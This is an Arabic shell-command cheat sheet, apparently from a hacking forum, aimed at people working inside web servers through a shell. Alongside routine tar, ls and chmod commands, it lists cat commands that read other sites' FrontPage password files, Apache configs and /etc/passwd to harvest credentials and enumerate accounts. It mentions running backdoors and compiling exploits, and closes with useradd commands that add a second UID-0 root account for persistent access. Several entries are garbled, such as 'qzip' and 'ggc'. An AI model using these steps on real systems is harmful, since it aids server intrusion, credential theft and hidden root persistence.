أوامر الشل, جميع أوامر الشيل, أوامر اليونكس, أوامر اليونيكس, أوامر الليونكس, أوامر اللينوكس, أوامر اللينكس, أوامر PuTTY, كل أوامر الشيل

أوامر الضغط وفك الضغط
الأمر وظيفة الأمر مثال على الأمر
qzip أمر الضغط بامتداد zip qzip failname
unzip أمر فك الضغط بامتداد zip unzip failname
tar -zcf أمر الضغط بامتداد tar tar -zcf file.tar daily
tar -zxf أمر فك الضغط بامتداد tar tar -zxf file.tar
tar xvfz أمر فك ضغط الملف بامتداد gz tar xvfz example.tar.gz
tar -czvf أمر ضغط الملف بامتداد gz tar -czvf file.tar.gz
gzip -d فك الضغط بامتداد gz gzip -d file.gz
tar -czvf ضغط قاعدة البيانات tar -czvf dbname.sql
tar -zxvf فك قواعد البيانات tar -zxvf dbname.sql
tar -czvf أمر ضغط المجلدات بامتداد tar -czvf /home/user/public_html/n3.tar.gz n3

الأوامر الداخلية
الأمر وظيفة الأمر مثال على الأمر
ls استعراض الملفات ls
ls -la استعراض الملفات والمجلدات المخفية والتصاريح ls
pwd تحديد المكان على السيرفر pwd
; أداة الربط بين الأوامر ls;pwd
wget أمرالسحب wget http://example.com/file.zip
curl -o ./ أمر السحب الآخر curl -o ./ file.zip http://example.com/file.zip
history أمر معرفة جميع الأوامر التي نفذت بالشل history
mkdir إنشاء مجلد جديد mkdir folder
rm أمر الحذف rm filename
rm -r حذف مجلد بجميع الملفات rm -r dir
edit أمر التعديل edit filename
who أمر المتصلين بالسيرفر who
cd أمر دخول المجلدات cd
cd .. أمر العودة للخلف cd..
mv أمر إعادة التسمية mv filename
find أمر البحث find
./ أمر تشغيل الباك دور ./
uname -a أمر معرفة إصدار السيرفر uname -a
* رمز للكل (كل محتويات مجلد ما) ls ftp.zip*
man أمر المساعدة man ls
chmod أمر إعطاء التصريح chmod 777 dd drwxrwxrwx
touch أمر إنشاء ملف فارغ touch file.php
gcc ترجمة الكومبايل أو الاكسبلويت ggc xxx.c -o xxx
(لا يحتاج ترجمة) ملفات البيرل تبدأ بـ usr/bin/perl يبدأ الكود بهذه الكلمة
(ترجمة وتشغيل فقط) ملفات السي تبدأ بـ include يبدأ الكود بهذه الكلمة
الأوامر الخارجية
الأمر وظيفة الأمر مثال على الأمر
cat عرض جميع المواقع التي على السيرفر cat /home/*/public_html/_vti_pvt/access.cnf
cat عرض جميع الباسوردات على السيرفر cat /home/*/public_html/_vti_pvt/service.pwd
cat عرض مصدر السيرفر cat /usr/local/apache/conf/httpd.conf
find عرض المصدر find / -name httpd.conf
more أمر مشابه للأمر cat more /etc/userdomains
pico تحرير النصوص pico /home/burst/public_html/index.html
vi أمر تحرير به الكثير من المزايا لكنه أصعب من السابق vi /home/burst/public_html/index.html
ls عرض المواقع التي على السيرفر مع اليوزر ls -la /etc/valiases المهم تحديد valiases
ls عرض جميع المواقع التي على السيرفر ls /var/named
ls عرض المواقع التي على السيرفر ls /usr/local/psa/home/vhosts المهم تحديد vhosts
perl  تشغيل البيرل perl example.pl
cat أمر استخراج حسابات الشيل ابحث عن bash cat /etc/passwd
اكتب الأمر التالي لإضافة يوزر بصلاحيات الروت ومضاف إلى مجموعة الروت :

/usr/sbin/useradd -o -u 0 -g 0 root -p rootpass

تفاصيل الأمر

طبعا اليوزر اللي هو روت: root
والباسورد: rootpass

-o : لاستخدام تغيرات مع الأمر
-u : لإضافته إلى مجموعه اليوزر ذات رقم 0 (اللي هي الروت)
-g : المجموعة ذات رقم 0 يعني مجموعة الروت أيضا .
----------------
أمر ثاني نفس الأمر الأول .
أيضا تستطيع عن طريق هذا الأمر:

/usr/sbin/useradd -o -u 0 root

 ثم تدخل لهذا اليوزر باسورد
يعني تضيف باسورد جديد للمستخدم
وإذا أردت تغيير باسورد يوزر بالطريقة التالية:

passwd root

ثم ستظهر لك الرسالة التالية:
New UNIX password:
اكتب باسورد جديد ويجب أن يكون صعب ومعقد :)

ثم سيظهر رسالة أخرى تطالب بإدخال كلمة المرور مرة ثانية:
Retype new UNIX password:
يعني أعد إدخال كلمة المرور
أعد كتابتها، سيعطيك الرسالة التالية :
Changing password for user root.
passwd: all authentication tokens updated successfully.
ومبروك عليك صلاحيات مستخدم روت جديدة :)


وفي الختام

لا تنسونا من صالح الدعاء